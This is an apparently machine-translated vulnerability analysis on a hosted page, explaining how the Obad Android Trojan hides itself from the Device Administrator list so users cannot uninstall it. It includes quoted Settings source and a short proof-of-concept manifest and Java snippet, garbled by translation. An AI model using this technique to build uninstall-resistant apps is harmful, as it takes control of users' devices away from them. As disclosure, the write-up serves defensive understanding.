Android Device Manager Vulnerability Analysis!

Source: Internet
Author: User

I. Description of the vulnerability

The virus backdoor.androidos.obad.a, now known as "the strongest Android Trojan in history", uses Android Device Manager vulnerabilities to make it impossible for users to uninstall in a normal way. In fact, the vulnerability was discovered late last year. (http://safe.ijiami.cn/)

Applications registered as "Device Manager" cannot be uninstalled directly. You can uninstall the Device Manager only after you deactivate it.

Trojan can use Android Device Manager vulnerability to achieve the "stealth" effect in the Device Manager list. In this way, users cannot go to the "deactivate" page to achieve the purpose of not uninstalling.


Second, impact version

Android2.2 above (4.0,4.1,4.2)

Third, the loophole principle

First, let's look at how the Settings app forms the Device Manager list:


Related classes:

Packages\apps\settings\src\com\android\settings\deviceadminsettings.java


public class Deviceadminsettings extends Listfragment {

Devicepolicymanager MDPM;
Final hashset<componentname> mactiveadmins = new hashset<componentname> ();
Final arraylist<deviceadmininfo> mavailableadmins = new arraylist<deviceadmininfo> ();

@Override
public void Onresume () {
Super.onresume ();
Updatelist ();
}

void Updatelist () {
Mactiveadmins.clear ();
List<componentname> cur = mdpm.getactiveadmins ();
if (cur! = null) {
for (int i=0; i<cur.size (); i++) {
Mactiveadmins.add (Cur.get (i));
}
}

Mavailableadmins.clear ();
list<resolveinfo> avail = getactivity (). Getpackagemanager (). Querybroadcastreceivers (
New Intent (deviceadminreceiver.action_device_admin_enabled),
Packagemanager.get_meta_data);//By querying the broadcast "Android.app.action.DEVICE_ADMIN_ENABLED" to the available set List of backup manager programs
int count = Avail = = null? 0:avail.size ();
for (int i=0; i<count; i++) {
ResolveInfo ri = Avail.get (i);
try {
Deviceadmininfo dpi = new Deviceadmininfo (getactivity (), RI);
if (dpi.isvisible () | | mactiveadmins.contains (dpi.getcomponent ())) {
Mavailableadmins.add (DPI);
}
//If app has activated Device Manager && registered "Android.app.action.DEVICE_ADMIN_ENABLED" appears in the Available Device Manager list
} catch (Xmlpullparserexception e) {
LOG.W (TAG, "skipping" + Ri.activityinfo, E);
} catch (IOException e) {
LOG.W (TAG, "skipping" + Ri.activityinfo, E);
}
}

Getlistview (). Setadapter (New Policylistadapter ());
}

.......

Class Policylistadapter extends Baseadapter {
.......

public void BindView (view view, int position) {
Final Activity activity = getactivity ();
Viewholder VH = (viewholder) view.gettag ();
Deviceadmininfo item = mavailableadmins.get (position);//Show data in Mavailableadmins
Vh.icon.setImageDrawable (Item.loadicon (Activity.getpackagemanager ()));
Vh.name.setText (Item.loadlabel (Activity.getpackagemanager ()));
Vh.checkbox.setChecked (Mactiveadmins.contains (Item.getcomponent ()));
try {
Vh.description.setText (Item.loaddescription (Activity.getpackagemanager ()));
} catch (Resources.notfoundexception e) {
}
}
}

}

From the Android Settings app source code can be seen, if you want to "stealth" in the Device Manager list, as long as not registered "Android.app.action.DEVICE_ADMIN_ENABLED" broadcast on the line.

Iv. POC Code

Androidmainfest.xml File Registration Component:

   
<receiver android:name= ". Deviceadminreceiver" android:label= "@string/app_name"  
   android:description=" @string/description "Android: permission= "Android.permission.BIND_DEVICE_ADMIN" >&NBSP;
   
   <meta-data android:name= "Android.app.device_ Admin "&NBSP;
               android : resource= "@xml/device_admin"/>&NBSP;
  
</ Receiver>

Java code registration activates Device Manager:


Intent Intent = new Intent (
Devicepolicymanager.action_add_device_admin);
ComponentName mdevicecomponentname = new ComponentName ("PackageName", "Packagename.deviceadminreceiver");
Intent.putextra (Devicepolicymanager.extra_device_admin,
Mdevicecomponentname);
This.startactivity (intent,0);


Android Device Manager Vulnerability Analysis!

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.